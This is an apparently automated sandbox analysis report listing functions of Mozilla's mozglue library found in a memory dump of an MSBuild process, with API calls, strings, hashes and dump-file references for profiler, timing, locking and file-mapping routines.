String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 7bd63824a18d82361941d62dea5a6951f6e293fe00a088248e011a3a2f8f981b
Instruction ID: b86f61c831332803de31ba4568a1136d4c5dac37176296357ce8892e23832cca
Opcode Fuzzy Hash: 7bd63824a18d82361941d62dea5a6951f6e293fe00a088248e011a3a2f8f981b
Instruction Fuzzy Hash: 21412435B016109FEB10AF65D818BAEB775EF8631CF14C019E91987F01EB329809CBE2

Function 6CC1D840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CC1D85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CC1D86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC1D918
GetCurrentThreadId.KERNEL32 ref: 6CC1D93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CC1D948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC1D970
GetCurrentThreadId.KERNEL32 ref: 6CC1D976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CC1D982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC1D9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CC1DA2E
GetCurrentThreadId.KERNEL32 ref: 6CC1DA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CC1DA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6CC1DA91

Part of subcall function 6CBE5C50: GetTickCount64.KERNEL32 ref: 6CBE5D40
Part of subcall function 6CBE5C50: EnterCriticalSection.KERNEL32(6CC4F688), ref: 6CBE5D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC1DAB7

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: 0752260ec699bc22c7b16181f5bbb075d770aaaab8965fab3d7c6d2145ae5021
Instruction ID: 8fdacc9cec72513afa920196a2f536e9d9f6b918ff337ee4a9aac170225fb751
Opcode Fuzzy Hash: 0752260ec699bc22c7b16181f5bbb075d770aaaab8965fab3d7c6d2145ae5021
Instruction Fuzzy Hash: 1171AC756043049FCB00DF29C894B9EBBF5FF89318F15866DE85A9B701EB30A945CB91

Function 6CC1D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CC1D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CC1D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC1D52A
GetCurrentThreadId.KERNEL32 ref: 6CC1D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CC1D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC1D55F
free.MOZGLUE(00000000), ref: 6CC1D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CC1D5D3
GetCurrentThreadId.KERNEL32 ref: 6CC1D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CC1D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC1D652
GetCurrentThreadId.KERNEL32 ref: 6CC1D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CC1D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC1D6A2

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 14d671bfc63f099d521ab11118ff313e3d3c65a541fec54c831993e2120d33a5
Instruction ID: a0951ec4e5944b1ec0c3edb3d5920b5e5a5c88d67aba0a1a3bee0027a7c5b2cb
Opcode Fuzzy Hash: 14d671bfc63f099d521ab11118ff313e3d3c65a541fec54c831993e2120d33a5
Instruction Fuzzy Hash: 75516BB1604B05DFC704DF35C494A9ABBB4FF89318F108A6EE85A87B11EB30A945CB91

Function 6CBE5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6CBE56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CBE56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6CBE56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6CBE5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6CBE57BC
GetTickCount64.KERNEL32 ref: 6CBE58CB
EnterCriticalSection.KERNEL32(6CC4F688), ref: 6CBE58F3
__aulldiv.LIBCMT ref: 6CBE5945
LeaveCriticalSection.KERNEL32(6CC4F688), ref: 6CBE59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6CC4F638,?,?,?,?), ref: 6CBE59E9

Strings

MOZ_APP_RESTART, xrefs: 6CBE56CC

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: d2b4e3df47560ee61caf6942f784283e424843f02fa26795f496d9faaf8f2049
Instruction ID: e173b37996db5b34963d5b274dc6c6da65d7a0d05f7cd2151884e165abf591ab
Opcode Fuzzy Hash: d2b4e3df47560ee61caf6942f784283e424843f02fa26795f496d9faaf8f2049
Instruction Fuzzy Hash: 4BC16B35A097909FD705DF28C4406AEB7F1FF9A758F05CA1DE8C897660D730A889CB86

Function 6CC0EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CBD4A68), ref: 6CC0945E
Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC09470
Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC09482
Part of subcall function 6CC09420: __Init_thread_footer.LIBCMT ref: 6CC0949F

GetCurrentThreadId.KERNEL32 ref: 6CC0EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC0EC8C

Part of subcall function 6CC094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CC094EE
Part of subcall function 6CC094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CC09508

GetCurrentThreadId.KERNEL32 ref: 6CC0ECA1
AcquireSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CC0ECC5
ReleaseSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CC0ED19
CloseHandle.KERNEL32(?), ref: 6CC0ED28
free.MOZGLUE(00000000), ref: 6CC0ED2F
ReleaseSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CC0EC94

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 6d20352005193638a1b7df2292be350086806f6fc7dfed3e61ef3ddbb62cfd05
Instruction ID: e43d3a586df9839d153068fe67c4308d37ee55ae08bec874d225c69594019bc7
Opcode Fuzzy Hash: 6d20352005193638a1b7df2292be350086806f6fc7dfed3e61ef3ddbb62cfd05
Instruction Fuzzy Hash: 6021D175700604AFDB00AF64D808BAA7B79EB8636CF14C214FD1897B41FB329805CBA1

Function 6CC08ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6CBCEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBCEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6CC0B392,?,?,00000001), ref: 6CC091F4

Part of subcall function 6CBFCBE8: GetCurrentProcess.KERNEL32(?,6CBC31A7), ref: 6CBFCBF1
Part of subcall function 6CBFCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CBC31A7), ref: 6CBFCBFA

Strings

name, xrefs: 6CC08F16
timeline-fileio, xrefs: 6CC090A4
stack-chart, xrefs: 6CC090B2
timeline-ipc, xrefs: 6CC09096
marker-table, xrefs: 6CC0906C
data, xrefs: 6CC090E8
timeline-memory, xrefs: 6CC09088
timeline-overview, xrefs: 6CC0907A
marker-chart, xrefs: 6CC0905E

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: a8fc31aa0fb46259bbc05e9cf5efb37f2d5c138a69b5886a48df686f75f9b136
Instruction ID: 144b0a076155ac60f4767494f4a91e1c61ddad3b48cdafa09a6e0bcd74ce6bbe
Opcode Fuzzy Hash: a8fc31aa0fb46259bbc05e9cf5efb37f2d5c138a69b5886a48df686f75f9b136
Instruction Fuzzy Hash: C9B1D4B0B01259DBDB04CF99D492BEEBBB5BF85348F108419D506ABF80E732A945CBD1

Function 6CBEC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CBEC5A3
WideCharToMultiByte.KERNEL32 ref: 6CBEC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CBEC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CBECA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBECA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CBECAA5

Strings

0, xrefs: 6CBED30A
(null), xrefs: 6CBEC596

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 032403c914811e26eca45c8c589841c41f52f02bb5b66e7bbf4a6164f64bb4f5
Instruction ID: ecfda60d8cde4b8cac35e9fe1948517ff48304412b31f7855114dab1b7025d3b
Opcode Fuzzy Hash: 032403c914811e26eca45c8c589841c41f52f02bb5b66e7bbf4a6164f64bb4f5
Instruction Fuzzy Hash: 6EA169306083829FDB11EF28C55475BBBF1EFC9B88F04892DE89997641D775E805CB92

Function 6CBEC769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CBEC784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CBEC801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6CBEC83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CBEC891

Strings

inf, xrefs: 6CBEC78F
NAN, xrefs: 6CBEC7AD
nan, xrefs: 6CBEC7A8
INF, xrefs: 6CBEC794

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: d3582f23074020eefd5fae1d90115c6d52de2b07a04fed5a4969c88ffba698cb
Instruction ID: c160022483c6408f9ae357d44658c1f418b4bbaf57f66e1865619eee45e51fe7
Opcode Fuzzy Hash: d3582f23074020eefd5fae1d90115c6d52de2b07a04fed5a4969c88ffba698cb
Instruction Fuzzy Hash: 0A51A330A087808BD700EF6CC58169AFBF0BF9E749F008A2CE9D5A7651E770D9858B43

Function 6CBC3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CBC3284,?,?,6CBE56F6), ref: 6CBC3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CBC3284,?,?,6CBE56F6), ref: 6CBC34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CBC3284,?,?,6CBE56F6), ref: 6CBC34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CBC350E
__Init_thread_footer.LIBCMT ref: 6CBC3522
__aulldiv.LIBCMT ref: 6CBC3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CBC3284,?,?,6CBE56F6), ref: 6CBC357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CBC3284,?,?,6CBE56F6), ref: 6CBC3592

Part of subcall function 6CBFAB89: EnterCriticalSection.KERNEL32(6CC4E370,?,?,?,6CBC34DE,6CC4F6CC,?,?,?,?,?,?,?,6CBC3284), ref: 6CBFAB94
Part of subcall function 6CBFAB89: LeaveCriticalSection.KERNEL32(6CC4E370,?,6CBC34DE,6CC4F6CC,?,?,?,?,?,?,?,6CBC3284,?,?,6CBE56F6), ref: 6CBFABD1

Strings

kernel32.dll, xrefs: 6CBC34EA
GetSystemTimePreciseAsFileTime, xrefs: 6CBC3508

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 7adaa7e7359c183014564a721164bcd82656fc1a7f2df377fde2dc851c45cfdd
Instruction ID: 3d120cdb6ee76dd1ab387adf6ee0788bf2008abc06b52c2940aae513fde7669f
Opcode Fuzzy Hash: 7adaa7e7359c183014564a721164bcd82656fc1a7f2df377fde2dc851c45cfdd
Instruction Fuzzy Hash: 9B317275B001859FDF04EFB9C868EEE7775FB45309F50C019E515A3650E670D905CB62

Function 6CBC4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CC04843,?), ref: 6CBC45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CC04843,?), ref: 6CBC468A
free.MOZGLUE(?,?,?,?,?,?,6CC04843,?), ref: 6CBC46C9
free.MOZGLUE(?), ref: 6CBC46EF
free.MOZGLUE(?), ref: 6CBC4712
free.MOZGLUE(?), ref: 6CBC4735
free.MOZGLUE(?), ref: 6CBC4758
free.MOZGLUE(?), ref: 6CBC477B
free.MOZGLUE(?), ref: 6CBC479E

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 0f2cc42e2a65146dc99ec5d2699c87305b2c15c8b55805fd7adae8b8675a2ba5
Instruction ID: bf9cc10df7a96fef12afe63354f0705225564902f86dd18d89908db01c8f6869
Opcode Fuzzy Hash: 0f2cc42e2a65146dc99ec5d2699c87305b2c15c8b55805fd7adae8b8675a2ba5
Instruction Fuzzy Hash: 9DB1D071B001918FDB188F2CC8D077D76B2AF46328F184669E816DBBC6D7309A448F93

Function 6CC2AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CC2AC52
CreateFileMappingW.KERNEL32 ref: 6CC2AC7D
GetSystemInfo.KERNEL32 ref: 6CC2AC98
MapViewOfFile.KERNEL32 ref: 6CC2ACB0
GetSystemInfo.KERNEL32 ref: 6CC2ACCD
MapViewOfFile.KERNEL32 ref: 6CC2AD05
UnmapViewOfFile.KERNEL32 ref: 6CC2AD1C
CloseHandle.KERNEL32 ref: 6CC2AD28
UnmapViewOfFile.KERNEL32 ref: 6CC2AD37
CloseHandle.KERNEL32 ref: 6CC2AD43
CloseHandle.KERNEL32 ref: 6CC2AD67

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 08e700b0aa6c3df1cb8887e296c835273a5aa441957355759064dba435e82306
Instruction ID: d1dc858664964f49bec4a7a7fb532e93b656c3d1fd797c14c6385a4532dcd2bb
Opcode Fuzzy Hash: 08e700b0aa6c3df1cb8887e296c835273a5aa441957355759064dba435e82306
Instruction Fuzzy Hash: 4F314FB1A047058FDB00BF7DD64866EBBF0BF85309F01C92DE99997211EB749848CB82

Function 6CBD9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CBD9675
__Init_thread_footer.LIBCMT ref: 6CBD9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CBD96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CBD9707
__Init_thread_footer.LIBCMT ref: 6CBD971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CBD9773

Part of subcall function 6CBFAB89: EnterCriticalSection.KERNEL32(6CC4E370,?,?,?,6CBC34DE,6CC4F6CC,?,?,?,?,?,?,?,6CBC3284), ref: 6CBFAB94
Part of subcall function 6CBFAB89: LeaveCriticalSection.KERNEL32(6CC4E370,?,6CBC34DE,6CC4F6CC,?,?,?,?,?,?,?,6CBC3284,?,?,6CBE56F6), ref: 6CBFABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CBD97B7
FreeLibrary.KERNEL32 ref: 6CBD97D0
FreeLibrary.KERNEL32 ref: 6CBD97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CBD9824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CBD9670
ntdll.dll, xrefs: 6CBD96E3
NtMapViewOfSection, xrefs: 6CBD9701
MapViewOfFileNuma2, xrefs: 6CBD97B1

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 0211c465186d945558dc54e57951decf46408e3a7956321da8e227af5da276a8
Instruction ID: 1ff6f8a8ea5e35ea85c481f8b268ddf4552ac39c22910c289dfd6c1b1bfe4db2
Opcode Fuzzy Hash: 0211c465186d945558dc54e57951decf46408e3a7956321da8e227af5da276a8
Instruction Fuzzy Hash: 8D41B175B002459FDF00EFA5D994A9A7BB4EB49319F01C128ED1597740EB34E819CFA2

Function 6CBC1E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CC4E784), ref: 6CBC1EC1
LeaveCriticalSection.KERNEL32(6CC4E784), ref: 6CBC1EE1
EnterCriticalSection.KERNEL32(6CC4E744), ref: 6CBC1F38
LeaveCriticalSection.KERNEL32(6CC4E744), ref: 6CBC1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6CBC1F83
LeaveCriticalSection.KERNEL32(6CC4E784), ref: 6CBC1FC0
EnterCriticalSection.KERNEL32(6CC4E784), ref: 6CBC1FE2
LeaveCriticalSection.KERNEL32(6CC4E784), ref: 6CBC1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CBC2019

Strings

MOZ_CRASH(), xrefs: 6CBC2000

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: f6f60ae7f28461d87ef39f309018964fd49a136564e137313b809f8ac1e99c56
Instruction ID: 2116b64ce83258ddb041d4feef6f70b5ce677ba7cf343b13f3ed7ce5180d1634
Opcode Fuzzy Hash: f6f60ae7f28461d87ef39f309018964fd49a136564e137313b809f8ac1e99c56
Instruction Fuzzy Hash: FC41D375B043558BDF00EF78C898B6E7AB5EF4A358F05C029E914A7741EB7198048BD2

Function 6CC25FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6CC26009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6CC26024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6CBCEE51,?), ref: 6CC26046
OutputDebugStringA.KERNEL32(?,6CBCEE51,?), ref: 6CC26061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CC26069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CC26073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CC26082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6CC4148E), ref: 6CC26091
